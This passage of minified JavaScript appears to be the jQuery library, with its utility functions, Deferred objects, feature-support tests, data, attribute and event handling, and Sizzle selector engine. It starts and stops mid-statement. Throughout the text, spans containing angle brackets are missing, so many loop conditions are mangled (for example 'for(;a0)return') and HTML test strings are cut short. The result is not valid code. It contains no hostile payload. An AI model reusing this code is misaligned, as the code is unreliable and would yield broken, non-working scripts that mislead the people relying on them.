u!="object"&&!v.isFunction(u)&&(u={}),f===a&&(u=this,--a);for(;a0)return;r.resolveWith(i,[v]),v.fn.trigger&&v(i).trigger("ready").off("ready")},isFunction:function(e){return v.type(e)==="function"},isArray:Array.isArray||function(e){return v.type(e)==="array"},isWindow:function(e){return e!=null&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return e==null?String(e):O[h.call(e)]||"object"},isPlainObject:function(e){if(!e||v.type(e)!=="object"||e.nodeType||v.isWindow(e))return!1;try{if(e.constructor&&!p.call(e,"constructor")&&!p.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(n){return!1}var r;for(r in e);return r===t||p.call(e,r)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw new Error(e)},parseHTML:function(e,t,n){var r;return!e||typeof e!="string"?null:(typeof t=="boolean"&&(n=t,t=0),t=t||i,(r=E.exec(e))?[t.createElement(r[1])]:(r=v.buildFragment([e],t,n?null:[]),v.merge([],(r.cacheable?v.clone(r.fragment):r.fragment).childNodes)))},parseJSON:function(t){if(!t||typeof t!="string")return null;t=v.trim(t);if(e.JSON&&e.JSON.parse)return e.JSON.parse(t);if(S.test(t.replace(T,"@").replace(N,"]").replace(x,"")))return(new Function("return "+t))();v.error("Invalid JSON: "+t)},parseXML:function(n){var r,i;if(!n||typeof n!="string")return null;try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(s){r=t}return(!r||!r.documentElement||r.getElementsByTagName("parsererror").length)&&v.error("Invalid XML: "+n),r},noop:function(){},globalEval:function(t){t&&g.test(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(C,"ms-").replace(k,L)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,n,r){var i,s=0,o=e.length,u=o===t||v.isFunction(e);if(r){if(u){for(i in e)if(n.apply(e[i],r)===!1)break}else for(;s0&&e[0]&&e[a-1]||a===0||v.isArray(e));if(f)for(;u-1)a.splice(n,1),i&&(n<=o&&o--,n<=u&&u--)}),this},has:function(e){return v.inArray(e,a)>-1},empty:function(){return a=[],this},disable:function(){return a=f=n=t,this},disabled:function(){return!a},lock:function(){return f=t,n||c.disable(),this},locked:function(){return!f},fireWith:function(e,t){return t=t||[],t=[e,t.slice?t.slice():t],a&&(!r||f)&&(i?f.push(t):l(t)),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!r}};return c},v.extend({Deferred:function(e){var t=[["resolve","done",v.Callbacks("once memory"),"resolved"],["reject","fail",v.Callbacks("once memory"),"rejected"],["notify","progress",v.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return v.Deferred(function(n){v.each(t,function(t,r){var s=r[0],o=e[t];i[r[1]](v.isFunction(o)?function(){var e=o.apply(this,arguments);e&&v.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[s+"With"](this===i?n:this,[e])}:n[s])}),e=null}).promise()},promise:function(e){return e!=null?v.extend(e,r):r}},i={};return r.pipe=r.then,v.each(t,function(e,s){var o=s[2],u=s[3];r[s[1]]=o.add,u&&o.add(function(){n=u},t[e^1][2].disable,t[2][2].lock),i[s[0]]=o.fire,i[s[0]+"With"]=o.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=l.call(arguments),r=n.length,i=r!==1||e&&v.isFunction(e.promise)?r:0,s=i===1?e:v.Deferred(),o=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?l.call(arguments):r,n===u?s.notifyWith(t,n):--i||s.resolveWith(t,n)}},u,a,f;if(r>1){u=new Array(r),a=new Array(r),f=new Array(r);for(;t
    a",n=p.getElementsByTagName("*"),r=p.getElementsByTagName("a")[0];if(!n||!r||!n.length)return{};s=i.createElement("select"),o=s.appendChild(i.createElement("option")),u=p.getElementsByTagName("input")[0],r.style.cssText="top:1px;float:left;opacity:.5",t={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName("tbody").length,htmlSerialize:!!p.getElementsByTagName("link").length,style:/top/.test(r.getAttribute("style")),hrefNormalized:r.getAttribute("href")==="/a",opacity:/^0.5/.test(r.style.opacity),cssFloat:!!r.style.cssFloat,checkOn:u.value==="on",optSelected:o.selected,getSetAttribute:p.className!=="t",enctype:!!i.createElement("form").enctype,html5Clone:i.createElement("nav").cloneNode(!0).outerHTML!=="<:nav>",boxModel:i.compatMode==="CSS1Compat",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,boxSizingReliable:!0,pixelPosition:!1},u.checked=!0,t.noCloneChecked=u.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!o.disabled;try{delete p.test}catch(d){t.deleteExpando=!1}!p.addEventListener&&p.attachEvent&&p.fireEvent&&(p.attachEvent("onclick",h=function(){t.noCloneEvent=!1}),p.cloneNode(!0).fireEvent("onclick"),p.detachEvent("onclick",h)),u=i.createElement("input"),u.value="t",u.setAttribute("type","radio"),t.radioValue=u.value==="t",u.setAttribute("checked","checked"),u.setAttribute("name","t"),p.appendChild(u),a=i.createDocumentFragment(),a.appendChild(p.lastChild),t.checkClone=a.cloneNode(!0).cloneNode(!0).lastChild.checked,t.appendChecked=u.checked,a.removeChild(u),a.appendChild(p);if(p.attachEvent)for(l in{submit:!0,change:!0,focusin:!0})f="on"+l,c=f in p,c||(p.setAttribute(f,"return;"),c=typeof p[f]=="function"),t[l+"Bubbles"]=c;return v(function(){var n,r,s,o,u="padding:0;margin:0;border:0;display:block;overflow:hidden;",a=i.getElementsByTagName("body")[0];if(!a)return;n=i.createElement("div"),n.style.cssText="visibility:hidden;border:0;width:0;height:0;position:static;top:0;margin-top:1px",a.insertBefore(n,a.firstChild),r=i.createElement("div"),n.appendChild(r),r.innerHTML="
    t
    ",s=r.getElementsByTagName("td"),s[0].style.cssText="padding:0;margin:0;border:0;display:none",c=s[0].offsetHeight===0,s[0].style.display="",s[1].style.display="none",t.reliableHiddenOffsets=c&&s[0].offsetHeight===0,r.innerHTML="",r.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",t.boxSizing=r.offsetWidth===4,t.doesNotIncludeMarginInBodyOffset=a.offsetTop!==1,e.getComputedStyle&&(t.pixelPosition=(e.getComputedStyle(r,null)||{}).top!=="1%",t.boxSizingReliable=(e.getComputedStyle(r,null)||{width:"4px"}).width==="4px",o=i.createElement("div"),o.style.cssText=r.style.cssText=u,o.style.marginRight=o.style.width="0",r.style.width="1px",r.appendChild(o),t.reliableMarginRight=!parseFloat((e.getComputedStyle(o,null)||{}).marginRight)),typeof r.style.zoom!="undefined"&&(r.innerHTML="",r.style.cssText=u+"width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=r.offsetWidth===3,r.style.display="block",r.style.overflow="visible",r.innerHTML="
    ",r.firstChild.style.width="5px",t.shrinkWrapBlocks=r.offsetWidth!==3,n.style.zoom=1),a.removeChild(n),n=r=s=o=null}),a.removeChild(p),n=r=s=o=u=a=p=null,t}();var D=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,P=/([A-Z])/g;v.extend({cache:{},deletedIds:[],uuid:0,expando:"jQuery"+(v.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(e){return e=e.nodeType?v.cache[e[v.expando]]:e[v.expando],!!e&&!B(e)},data:function(e,n,r,i){if(!v.acceptData(e))return;var s,o,u=v.expando,a=typeof n=="string",f=e.nodeType,l=f?v.cache:e,c=f?e[u]:e[u]&&u;if((!c||!l[c]||!i&&!l[c].data)&&a&&r===t)return;c||(f?e[u]=c=v.deletedIds.pop()||v.guid++:c=u),l[c]||(l[c]={},f||(l[c].toJSON=v.noop));if(typeof n=="object"||typeof n=="function")i?l[c]=v.extend(l[c],n):l[c].data=v.extend(l[c].data,n);return s=l[c],i||(s.data||(s.data={}),s=s.data),r!==t&&(s[v.camelCase(n)]=r),a?(o=s[n],o==null&&(o=s[v.camelCase(n)])):o=s,o},removeData:function(e,t,n){if(!v.acceptData(e))return;var r,i,s,o=e.nodeType,u=o?v.cache:e,a=o?e[v.expando]:v.expando;if(!u[a])return;if(t){r=n?u[a]:u[a].data;if(r){v.isArray(t)||(t in r?t=[t]:(t=v.camelCase(t),t in r?t=[t]:t=t.split(" ")));for(i=0,s=t.length;i1,null,!1))},removeData:function(e){return this.each(function(){v.removeData(this,e)})}}),v.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=v._data(e,t),n&&(!r||v.isArray(n)?r=v._data(e,t,v.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=v.queue(e,t),r=n.length,i=n.shift(),s=v._queueHooks(e,t),o=function(){v.dequeue(e,t)};i==="inprogress"&&(i=n.shift(),r--),i&&(t==="fx"&&n.unshift("inprogress"),delete s.stop,i.call(e,o,s)),!r&&s&&s.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return v._data(e,n)||v._data(e,n,{empty:v.Callbacks("once memory").add(function(){v.removeData(e,t+"queue",!0),v.removeData(e,n,!0)})})}}),v.fn.extend({queue:function(e,n){var r=2;return typeof e!="string"&&(n=e,e="fx",r--),arguments.length1)},removeAttr:function(e){return this.each(function(){v.removeAttr(this,e)})},prop:function(e,t){return v.access(this,v.prop,e,t,arguments.length>1)},removeProp:function(e){return e=v.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,s,o,u;if(v.isFunction(e))return this.each(function(t){v(this).addClass(e.call(this,t,this.className))});if(e&&typeof e=="string"){t=e.split(y);for(n=0,r=this.length;n=0)r=r.replace(" "+n[s]+" "," ");i.className=e?v.trim(r):""}}}return this},toggleClass:function(e,t){var n=typeof e,r=typeof t=="boolean";return v.isFunction(e)?this.each(function(n){v(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if(n==="string"){var i,s=0,o=v(this),u=t,a=e.split(y);while(i=a[s++])u=r?u:!o.hasClass(i),o[u?"addClass":"removeClass"](i)}else if(n==="undefined"||n==="boolean")this.className&&v._data(this,"__className__",this.className),this.className=this.className||e===!1?"":v._data(this,"__className__")||""})},hasClass:function(e){var t=" "+e+" ",n=0,r=this.length;for(;n=0)return!0;return!1},val:function(e){var n,r,i,s=this[0];if(!arguments.length){if(s)return n=v.valHooks[s.type]||v.valHooks[s.nodeName.toLowerCase()],n&&"get"in n&&(r=n.get(s,"value"))!==t?r:(r=s.value,typeof r=="string"?r.replace(R,""):r==null?"":r);return}return i=v.isFunction(e),this.each(function(r){var s,o=v(this);if(this.nodeType!==1)return;i?s=e.call(this,r,o.val()):s=e,s==null?s="":typeof s=="number"?s+="":v.isArray(s)&&(s=v.map(s,function(e){return e==null?"":e+""})),n=v.valHooks[this.type]||v.valHooks[this.nodeName.toLowerCase()];if(!n||!("set"in n)||n.set(this,s,"value")===t)this.value=s})}}),v.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,s=e.type==="select-one"||i<0,o=s?null:[],u=s?i+1:r.length,a=i<0?u:s?i:0;for(;a=0}),n.length||(e.selectedIndex=-1),n}}},attrFn:{},attr:function(e,n,r,i){var s,o,u,a=e.nodeType;if(!e||a===3||a===8||a===2)return;if(i&&v.isFunction(v.fn[n]))return v(e)[n](r);if(typeof e.getAttribute=="undefined")return v.prop(e,n,r);u=a!==1||!v.isXMLDoc(e),u&&(n=n.toLowerCase(),o=v.attrHooks[n]||(X.test(n)?F:j));if(r!==t){if(r===null){v.removeAttr(e,n);return}return o&&"set"in o&&u&&(s=o.set(e,r,n))!==t?s:(e.setAttribute(n,r+""),r)}return o&&"get"in o&&u&&(s=o.get(e,n))!==null?s:(s=e.getAttribute(n),s===null?t:s)},removeAttr:function(e,t){var n,r,i,s,o=0;if(t&&e.nodeType===1){r=t.split(y);for(;o=0}})});var $=/^(?:textarea|input|select)$/i,J=/^([^\.]*|)(?:\.(.+)|)$/,K=/(?:^|\s)hover(\.\S+|)\b/,Q=/^key/,G=/^(?:mouse|contextmenu)|click/,Y=/^(?:focusinfocus|focusoutblur)$/,Z=function(e){return v.event.special.hover?e:e.replace(K,"mouseenter$1 mouseleave$1")};v.event={add:function(e,n,r,i,s){var o,u,a,f,l,c,h,p,d,m,g;if(e.nodeType===3||e.nodeType===8||!n||!r||!(o=v._data(e)))return;r.handler&&(d=r,r=d.handler,s=d.selector),r.guid||(r.guid=v.guid++),a=o.events,a||(o.events=a={}),u=o.handle,u||(o.handle=u=function(e){return typeof v=="undefined"||!!e&&v.event.triggered===e.type?t:v.event.dispatch.apply(u.elem,arguments)},u.elem=e),n=v.trim(Z(n)).split(" ");for(f=0;f=0&&(y=y.slice(0,-1),a=!0),y.indexOf(".")>=0&&(b=y.split("."),y=b.shift(),b.sort());if((!s||v.event.customEvent[y])&&!v.event.global[y])return;n=typeof n=="object"?n[v.expando]?n:new v.Event(y,n):new v.Event(y),n.type=y,n.isTrigger=!0,n.exclusive=a,n.namespace=b.join("."),n.namespace_re=n.namespace?new RegExp("(^|\\.)"+b.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,h=y.indexOf(":")<0?"on"+y:"";if(!s){u=v.cache;for(f in u)u[f].events&&u[f].events[y]&&v.event.trigger(n,r,u[f].handle.elem,!0);return}n.result=t,n.target||(n.target=s),r=r!=null?v.makeArray(r):[],r.unshift(n),p=v.event.special[y]||{};if(p.trigger&&p.trigger.apply(s,r)===!1)return;m=[[s,p.bindType||y]];if(!o&&!p.noBubble&&!v.isWindow(s)){g=p.delegateType||y,l=Y.test(g+y)?s:s.parentNode;for(c=s;l;l=l.parentNode)m.push([l,g]),c=l;c===(s.ownerDocument||i)&&m.push([c.defaultView||c.parentWindow||e,g])}for(f=0;f=0:v.find(h,this,null,[s]).length),u[h]&&f.push(c);f.length&&w.push({elem:s,matches:f})}d.length>m&&w.push({elem:this,matches:d.slice(m)});for(r=0;r0?this.on(t,null,e,n):this.trigger(t)},Q.test(t)&&(v.event.fixHooks[t]=v.event.keyHooks),G.test(t)&&(v.event.fixHooks[t]=v.event.mouseHooks)}),function(e,t){function nt(e,t,n,r){n=n||[],t=t||g;var i,s,a,f,l=t.nodeType;if(!e||typeof e!="string")return n;if(l!==1&&l!==9)return[];a=o(t);if(!a&&!r)if(i=R.exec(e))if(f=i[1]){if(l===9){s=t.getElementById(f);if(!s||!s.parentNode)return n;if(s.id===f)return n.push(s),n}else if(t.ownerDocument&&(s=t.ownerDocument.getElementById(f))&&u(t,s)&&s.id===f)return n.push(s),n}else{if(i[2])return S.apply(n,x.call(t.getElementsByTagName(e),0)),n;if((f=i[3])&&Z&&t.getElementsByClassName)return S.apply(n,x.call(t.getElementsByClassName(f),0)),n}return vt(e.replace(j,"$1"),t,n,r,a)}function rt(e){return function(t){var n=t.nodeName.toLowerCase();return n==="input"&&t.type===e}}function it(e){return function(t){var n=t.nodeName.toLowerCase();return(n==="input"||n==="button")&&t.type===e}}function st(e){return N(function(t){return t=+t,N(function(n,r){var i,s=e([],n.length,t),o=s.length;while(o--)n[i=s[o]]&&(n[i]=!(r[i]=n[i]))})})}function ot(e,t,n){if(e===t)return n;var r=e.nextSibling;while(r){if(r===t)return-1;r=r.nextSibling}return 1}function ut(e,t){var n,r,s,o,u,a,f,l=L[d][e+" "];if(l)return t?0:l.slice(0);u=e,a=[],f=i.preFilter;while(u){if(!n||(r=F.exec(u)))r&&(u=u.slice(r[0].length)||u),a.push(s=[]);n=!1;if(r=I.exec(u))s.push(n=new m(r.shift())),u=u.slice(n.length),n.type=r[0].replace(j," ");for(o in i.filter)(r=J[o].exec(u))&&(!f[o]||(r=f[o](r)))&&(s.push(n=new m(r.shift())),u=u.slice(n.length),n.type=o,n.matches=r);if(!n)break}return t?u.length:u?nt.error(e):L(e,a).slice(0)}function at(e,t,r){var i=t.dir,s=r&&t.dir==="parentNode",o=w++;return t.first?function(t,n,r){while(t=t[i])if(s||t.nodeType===1)return e(t,n,r)}:function(t,r,u){if(!u){var a,f=b+" "+o+" ",l=f+n;while(t=t[i])if(s||t.nodeType===1){if((a=t[d])===l)return t.sizset;if(typeof a=="string"&&a.indexOf(f)===0){if(t.sizset)return t}else{t[d]=l;if(e(t,r,u))return t.sizset=!0,t;t.sizset=!1}}}else while(t=t[i])if(s||t.nodeType===1)if(e(t,r,u))return t}}function ft(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function lt(e,t,n,r,i){var s,o=[],u=0,a=e.length,f=t!=null;for(;u-1&&(s[f]=!(o[f]=c))}}else g=lt(g===o?g.splice(d,g.length):g),i?i(null,o,g,a):S.apply(o,g)})}function ht(e){var t,n,r,s=e.length,o=i.relative[e[0].type],u=o||i.relative[" "],a=o?1:0,f=at(function(e){return e===t},u,!0),l=at(function(e){return T.call(t,e)>-1},u,!0),h=[function(e,n,r){return!o&&(r||n!==c)||((t=n).nodeType?f(e,n,r):l(e,n,r))}];for(;a1&&ft(h),a>1&&e.slice(0,a-1).join("").replace(j,"$1"),n,a0,s=e.length>0,o=function(u,a,f,l,h){var p,d,v,m=[],y=0,w="0",x=u&&[],T=h!=null,N=c,C=u||s&&i.find.TAG("*",h&&a.parentNode||a),k=b+=N==null?1:Math.E;T&&(c=a!==g&&a,n=o.el);for(;(p=C[w])!=null;w++){if(s&&p){for(d=0;v=e[d];d++)if(v(p,a,f)){l.push(p);break}T&&(b=k,n=++o.el)}r&&((p=!v&&p)&&y--,u&&x.push(p))}y+=w;if(r&&w!==y){for(d=0;v=t[d];d++)v(x,m,a,f);if(u){if(y>0)while(w--)!x[w]&&!m[w]&&(m[w]=E.call(l));m=lt(m)}S.apply(l,m),T&&!u&&m.length>0&&y+t.length>1&&nt.uniqueSort(l)}return T&&(b=k,c=N),x};return o.el=0,r?N(o):o}function dt(e,t,n){var r=0,i=t.length;for(;r2&&(f=u[0]).type==="ID"&&t.nodeType===9&&!s&&i.relative[u[1].type]){t=i.find.ID(f.matches[0].replace($,""),t,s)[0];if(!t)return n;e=e.slice(u.shift().length)}for(o=J.POS.test(e)?-1:u.length-1;o>=0;o--){f=u[o];if(i.relative[l=f.type])break;if(c=i.find[l])if(r=c(f.matches[0].replace($,""),z.test(u[0].type)&&t.parentNode||t,s)){u.splice(o,1),e=r.length&&u.join("");if(!e)return S.apply(n,x.call(r,0)),n;break}}}return a(e,h)(r,t,s,n,z.test(e)),n}function mt(){}var n,r,i,s,o,u,a,f,l,c,h=!0,p="undefined",d=("sizcache"+Math.random()).replace(".",""),m=String,g=e.document,y=g.documentElement,b=0,w=0,E=[].pop,S=[].push,x=[].slice,T=[].indexOf||function(e){var t=0,n=this.length;for(;ti.cacheLength&&delete e[t.shift()],e[n+" "]=r},e)},k=C(),L=C(),A=C(),O="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[-\\w]|[^\\x00-\\xa0])+",_=M.replace("w","w#"),D="([*^$|!~]?=)",P="\\["+O+"*("+M+")"+O+"*(?:"+D+O+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+_+")|)|)"+O+"*\\]",H=":("+M+")(?:\\((?:(['\"])((?:\\\\.|[^\\\\])*?)\\2|([^()[\\]]*|(?:(?:"+P+")|[^:]|\\\\.)*|.*))\\)|)",B=":(even|odd|eq|gt|lt|nth|first|last)(?:\\("+O+"*((?:-\\d)?\\d*)"+O+"*\\)|)(?=[^-]|$)",j=new RegExp("^"+O+"+|((?:^|[^\\\\])(?:\\\\.)*)"+O+"+$","g"),F=new RegExp("^"+O+"*,"+O+"*"),I=new RegExp("^"+O+"*([\\x20\\t\\r\\n\\f>+~])"+O+"*"),q=new RegExp(H),R=/^(?:#([\w\-]+)|(\w+)|\.([\w\-]+))$/,U=/^:not/,z=/[\x20\t\r\n\f]*[+~]/,W=/:not\($/,X=/h\d/i,V=/input|select|textarea|button/i,$=/\\(?!\\)/g,J={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),NAME:new RegExp("^\\[name=['\"]?("+M+")['\"]?\\]"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+P),PSEUDO:new RegExp("^"+H),POS:new RegExp(B,"i"),CHILD:new RegExp("^:(only|nth|first|last)-child(?:\\("+O+"*(even|odd|(([+-]|)(\\d*)n|)"+O+"*(?:([+-]|)"+O+"*(\\d+)|))"+O+"*\\)|)","i"),needsContext:new RegExp("^"+O+"*[>+~]|"+B,"i")},K=function(e){var t=g.createElement("div");try{return e(t)}catch(n){return!1}finally{t=null}},Q=K(function(e){return e.appendChild(g.createComment("")),!e.getElementsByTagName("*").length}),G=K(function(e){return e.innerHTML="",e.firstChild&&typeof e.firstChild.getAttribute!==p&&e.firstChild.getAttribute("href")==="#"}),Y=K(function(e){e.innerHTML="";var t=typeof e.lastChild.getAttribute("multiple");return t!=="boolean"&&t!=="string"}),Z=K(function(e){return e.innerHTML="",!e.getElementsByClassName||!e.getElementsByClassName("e").length?!1:(e.lastChild.className="e",e.getElementsByClassName("e").length===2)}),et=K(function(e){e.id=d+0,e.innerHTML="
    ",y.insertBefore(e,y.firstChild);var t=g.getElementsByName&&g.getElementsByName(d).length===2+g.getElementsByName(d+0).length;return r=!g.getElementById(d),y.removeChild(e),t});try{x.call(y.childNodes,0)[0].nodeType}catch(tt){x=function(e){var t,n=[];for(;t=this[e];e++)n.push(t);return n}}nt.matches=function(e,t){return nt(e,null,null,t)},nt.matchesSelector=function(e,t){return nt(t,null,null,[e]).length>0},s=nt.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(i===1||i===9||i===11){if(typeof e.textContent=="string")return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=s(e)}else if(i===3||i===4)return e.nodeValue}else for(;t=e[r];r++)n+=s(t);return n},o=nt.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?t.nodeName!=="HTML":!1},u=nt.contains=y.contains?function(e,t){var n=e.nodeType===9?e.documentElement:e,r=t&&t.parentNode;return e===r||!!(r&&r.nodeType===1&&n.contains&&n.contains(r))}:y.compareDocumentPosition?function(e,t){return t&&!!(e.compareDocumentPosition(t)&16)}:function(e,t){while(t=t.parentNode)if(t===e)return!0;return!1},nt.attr=function(e,t){var n,r=o(e);return r||(t=t.toLowerCase()),(n=i.attrHandle[t])?n(e):r||Y?e.getAttribute(t):(n=e.getAttributeNode(t),n?typeof e[t]=="boolean"?e[t]?t:null:n.specified?n.value:null:null)},i=nt.selectors={cacheLength:50,createPseudo:N,match:J,attrHandle:G?{}:{href:function(e){return e.getAttribute("href",2)},type:function(e){return e.getAttribute("type")}},find:{ID:r?function(e,t,n){if(typeof t.getElementById!==p&&!n){var r=t.getElementById(e);return r&&r.parentNode?[r]:[]}}:function(e,n,r){if(typeof n.getElementById!==p&&!r){var i=n.getElementById(e);return i?i.id===e||typeof i.getAttributeNode!==p&&i.getAttributeNode("id").value===e?[i]:t:[]}},TAG:Q?function(e,t){if(typeof t.getElementsByTagName!==p)return t.getElementsByTagName(e)}:function(e,t){var n=t.getElementsByTagName(e);if(e==="*"){var r,i=[],s=0;for(;r=n[s];s++)r.nodeType===1&&i.push(r);return i}return n},NAME:et&&function(e,t){if(typeof t.getElementsByName!==p)return t.getElementsByName(name)},CLASS:Z&&function(e,t,n){if(typeof t.getElementsByClassName!==p&&!n)return t.getElementsByClassName(e)}},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace($,""),e[3]=(e[4]||e[5]||"").replace($,""),e[2]==="~="&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),e[1]==="nth"?(e[2]||nt.error(e[0]),e[3]=+(e[3]?e[4]+(e[5]||1):2*(e[2]==="even"||e[2]==="odd")),e[4]=+(e[6]+e[7]||e[2]==="odd")):e[2]&&nt.error(e[0]),e},PSEUDO:function(e){var t,n;if(J.CHILD.test(e[0]))return null;if(e[3])e[2]=e[3];else if(t=e[4])q.test(t)&&(n=ut(t,!0))&&(n=t.indexOf(")",t.length-n)-t.length)&&(t=t.slice(0,n),e[0]=e[0].slice(0,n)),e[2]=t;return e.slice(0,3)}},filter:{ID:r?function(e){return e=e.replace($,""),function(t){return t.getAttribute("id")===e}}:function(e){return e=e.replace($,""),function(t){var n=typeof t.getAttributeNode!==p&&t.getAttributeNode("id");return n&&n.value===e}},TAG:function(e){return e==="*"?function(){return!0}:(e=e.replace($,"").toLowerCase(),function(t){return t.nodeName&&t.nodeName.toLowerCase()===e})},CLASS:function(e){var t=k[d][e+" "];return t||(t=new RegExp("(^|"+O+")"+e+"("+O+"|$)"))&&k(e,function(e){return t.test(e.className||typeof e.getAttribute!==p&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r,i){var s=nt.attr(r,e);return s==null?t==="!=":t?(s+="",t==="="?s===n:t==="!="?s!==n:t==="^="?n&&s.indexOf(n)===0:t==="*="?n&&s.indexOf(n)>-1:t==="$="?n&&s.substr(s.length-n.length)===n:t==="~="?(" "+s+" ").indexOf(n)>-1:t==="|="?s===n||s.substr(0,n.length+1)===n+"-":!1):!0}},CHILD:function(e,t,n,r){return e==="nth"?function(e){var t,i,s=e.parentNode;if(n===1&&r===0)return!0;if(s){i=0;for(t=s.firstChild;t;t=t.nextSibling)if(t.nodeType===1){i++;if(e===t)break}}return i-=r,i===n||i%n===0&&i/n>=0}:function(t){var n=t;switch(e){case"only":case"first":while(n=n.previousSibling)if(n.nodeType===1)return!1;if(e==="first")return!0;n=t;case"last":while(n=n.nextSibling)if(n.nodeType===1)return!1;return!0}}},PSEUDO:function(e,t){var n,r=i.pseudos[e]||i.setFilters[e.toLowerCase()]||nt.error("unsupported pseudo: "+e);return r[d]?r(t):r.length>1?(n=[e,e,"",t],i.setFilters.hasOwnProperty(e.toLowerCase())?N(function(e,n){var i,s=r(e,t),o=s.length;while(o--)i=T.call(e,s[o]),e[i]=!(n[i]=s[o])}):function(e){return r(e,0,n)}):r}},pseudos:{not:N(function(e){var t=[],n=[],r=a(e.replace(j,"$1"));return r[d]?N(function(e,t,n,i){var s,o=r(e,null,i,[]),u=e.length;while(u--)if(s=o[u])e[u]=!(t[u]=s)}):function(e,i,s){return t[0]=e,r(t,null,s,n),!n.pop()}}),has:N(function(e){return function(t){return nt(e,t).length>0}}),contains:N(function(e){return function(t){return(t.textContent||t.innerText||s(t)).indexOf(e)>-1}}),enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return t==="input"&&!!e.checked||t==="option"&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},parent:function(e){return!i.pseudos.empty(e)},empty:function(e){var t;e=e.firstChild;while(e){if(e.nodeName>"@"||(t=e.nodeType)===3||t===4)return!1;e=e.nextSibling}return!0},header:function(e){return X.test(e.nodeName)},text:function(e){var t,n;return e.nodeName.toLowerCase()==="input"&&(t=e.type)==="text"&&((n=e.getAttribute("type"))==null||n.toLowerCase()===t)},radio:rt("radio"),checkbox:rt("checkbox"),file:rt("file"),password:rt("password"),image:rt("image"),submit:it("submit"),reset:it("reset"),button:function(e){var t=e.nodeName.toLowerCase();return t==="input"&&e.type==="button"||t==="button"},input:function(e){return V.test(e.nodeName)},focus:function(e){var t=e.ownerDocument;return e===t.activeElement&&(!t.hasFocus||t.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},active:function(e){return e===e.ownerDocument.activeElement},first:st(function(){return[0]}),last:st(function(e,t){return[t-1]}),eq:st(function(e,t,n){return[n<0?n+t:n]}),even:st(function(e,t){for(var n=0;n=0;)e.push(r);return e}),gt:st(function(e,t,n){for(var r=n<0?n+t:n;++r",e.querySelectorAll("[selected]").length||i.push("\\["+O+"*(?:checked|disabled|ismap|multiple|readonly|selected|value)"),e.querySelectorAll(":checked").length||i.push(":checked")}),K(function(e){e.innerHTML="

    ",e.querySelectorAll("[test^='']").length&&i.push("[*^$]="+O+"*(?:\"\"|'')"),e.innerHTML="",e.querySelectorAll(":enabled").length||i.push(":enabled",":disabled")}),i=new RegExp(i.join("|")),vt=function(e,r,s,o,u){if(!o&&!u&&!i.test(e)){var a,f,l=!0,c=d,h=r,p=r.nodeType===9&&e;if(r.nodeType===1&&r.nodeName.toLowerCase()!=="object"){a=ut(e),(l=r.getAttribute("id"))?c=l.replace(n,"\\$&"):r.setAttribute("id",c),c="[id='"+c+"'] ",f=a.length;while(f--)a[f]=c+a[f].join("");h=z.test(e)&&r.parentNode||r,p=a.join(",")}if(p)try{return S.apply(s,x.call(h.querySelectorAll(p),0)),s}catch(v){}finally{l||r.removeAttribute("id")}}return t(e,r,s,o,u)},u&&(K(function(t){e=u.call(t,"div");try{u.call(t,"[test!='']:sizzle"),s.push("!=",H)}catch(n){}}),s=new RegExp(s.join("|")),nt.matchesSelector=function(t,n){n=n.replace(r,"='$1']");if(!o(t)&&!s.test(n)&&!i.test(n))try{var 